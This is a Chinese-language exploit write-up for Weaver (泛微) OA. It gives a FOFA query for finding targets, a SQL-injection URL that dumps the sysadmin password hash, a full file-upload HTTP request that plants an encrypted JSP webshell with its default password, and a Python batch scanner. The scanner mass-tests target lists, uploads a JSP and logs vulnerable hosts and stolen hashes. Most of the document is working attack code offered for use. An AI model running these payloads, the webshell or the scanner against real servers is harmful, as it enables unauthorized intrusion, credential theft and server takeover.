0x00泛微OA介绍
泛微成立于2001 年,总部设立于上海,专注于协同管理OA软件领域,并致力于以协同OA为核心帮助企业构建全新的移动办公平台。
0x01漏洞描述
泛微OA V8 存在SQL注入漏洞,攻击者可以通过漏洞获取管理员权限和服务器权限 泛微OA V9 存在文件上传接口导致任意文件上传
0x02 影响版本
sql注入:泛微OA V8
文件上传:泛微OA V9
0x03FOFA
app=“泛微-协同办公OA”
0x04漏洞复现
sql注入
在getdata.jsp中,直接将request对象交给
weaver.hrm.common.AjaxManager.getData(HttpServletRequest,
ServletContext) :
方法处理
在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法
Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)
在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中
根据以上代码流程,只要构造请求参数
?cmd= getSelectAllId&sql=select password as id from userinfo;
即可完成对数据库操控
POC
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)
解密后即可登录系统
任意文件上传
漏洞位于: /page/exportImport/uploadOperation.jsp文件中
Jsp流程大概是:判断请求是否是multipart请求,直接上传。
重点关注File file=new File(savepath+filename),
Filename参数,是前台可控的,并且没有做任何过滤限制
利用非常简单,只要对着
127.0.0.1/page/exportImport/uploadOperation.jsp
来一个multipartRequest就可以。
然后请求 然后请求路径:
page/exportImport/fileTransfer/1.jsp
POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 397
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
dnt: 1
x-forwarded-for: 127.0.0.1
Connection: close
------WebKitFormBoundary6XgyjB6SeCArD3Hc
Content-Disposition: form-data; name="file"; filename="demo.jsp"
Content-Type: application/octet-stream
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundary6XgyjB6SeCArD3Hc--
地址: /page/exportImport/fileTransfer/demo.jsp
默认密码 rebeyond
0x05批量脚本
这是本人hvv无聊的时候写的,可以单目标测试和多目标测试sql注入和文件上传,并将存在漏洞的地址保存到txt文件中,可能有点乱,但漏洞检测功能大致都可以实现。
import requests
import urllib3
import time
import argparse
parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file
def title():
print("*"*50)
print("*"*4+" "*12+"泛微OA v9 前台文件上传"+" "*8+"*"*4)
print("*"*4+" "*12+"泛微OA v8 前台sql注入"+" "*9+"*"*4)
print("*"*4+" "*33+"By 瓜皮辰"+"*"*4)
print("*"*4+" "*2+"单目标示例:python FanWpoc.py -u url"+" "*4+"*"*4)
print("*"*4+" "*2+"多目标示例:python FanWpoc.py -f *.txt"+" "*2+"*"*4)
print("*"*50)
def poc1(get_url):
test_url1 = get_url + "/page/exportImport/uploadOperation.jsp"
sql_url = get_url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36"
}
try:
urllib3.disable_warnings()
res_test = requests.get(url=test_url1,headers=header,verify=False,timeout=5)
if res_test.status_code == 200:
print(get_url+" "+"目标文件上传页面存在,正在测试文件上传,请等待")
time.sleep(1)
poc2(get_url)
else:
print(get_url+" "+"目标文件上传页面不存在,更换地址。")
res_sql = requests.get(url=sql_url,headers=header,verify=False,timeout=5)
if res_sql.status_code == 200 and '</html>' not in res_sql.text:
md5pass = str.strip(res_sql.text)
print("目标存在sql注入漏洞")
vuln_sql = get_url+" 用户名:sysadmin md5密码:"+md5pass
print(vuln_sql)
print("--------------------------")
with open('sql.txt','a+',encoding="utf-8") as s:
s.write(vuln_sql+'\n')
else:
print(get_url+" "+"目标不存在sql注入漏洞")
except Exception as e:
print(get_url+" "+"目标请求失败!",e)
def poc2(get_url):
test_url2 = get_url + "/page/exportImport/uploadOperation.jsp"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
"Connection": "close",
"Content-Length": "500"
}
files = {
'file': ('guapi.jsp',"<%out.print(666);%>",'application/octet-stream')
}
try:
res_1 = requests.post(url=test_url2,headers=header,files=files,verify=False,timeout=5)
poc3(get_url)
except Exception as c:
print("文件上传出错!",c)
def poc3(get_url):
test_url3 = get_url + '/page/exportImport/fileTransfer/guapi.jsp'
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
"Connection": "close",
"Content-Length": "500"
}
res_2 = requests.get(url=test_url3, headers=header, verify=False, timeout=5)
if '666' in res_2.text and res_2.status_code == 200:
print("文件上传成功!!!!!")
vuln_file = get_url+'/page/exportImport/fileTransfer/guapi.jsp'
print("请访问地址:"+vuln_file)
with open('file.txt','a+',encoding='utf-8') as file:
file.write(vuln_file+'\n')
else:
print("上传失败,目标不存在文件上传漏洞")
print("--------------------------")
def poc4():
with open(args.file,'r+',encoding='utf-8') as f:
for i in f.readlines():
s = i.strip()
if 'http://' in s:
poc1(s)
else:
exp1 = 'http://'+s
poc1(exp1)
f.close()
if __name__ == '__main__':
title()
try:
if Get_url != '' and Get_file == '':
if 'http://' in Get_url:
poc1(Get_url)
else:
exp2 = 'http://'+Get_url
poc1(exp2)
elif Get_url == '' and Get_file != '':
poc4()
except KeyboardInterrupt:
print("结束进程。。。。")
pass
参考peiqi大佬文库:http://wiki.peiqi.tech/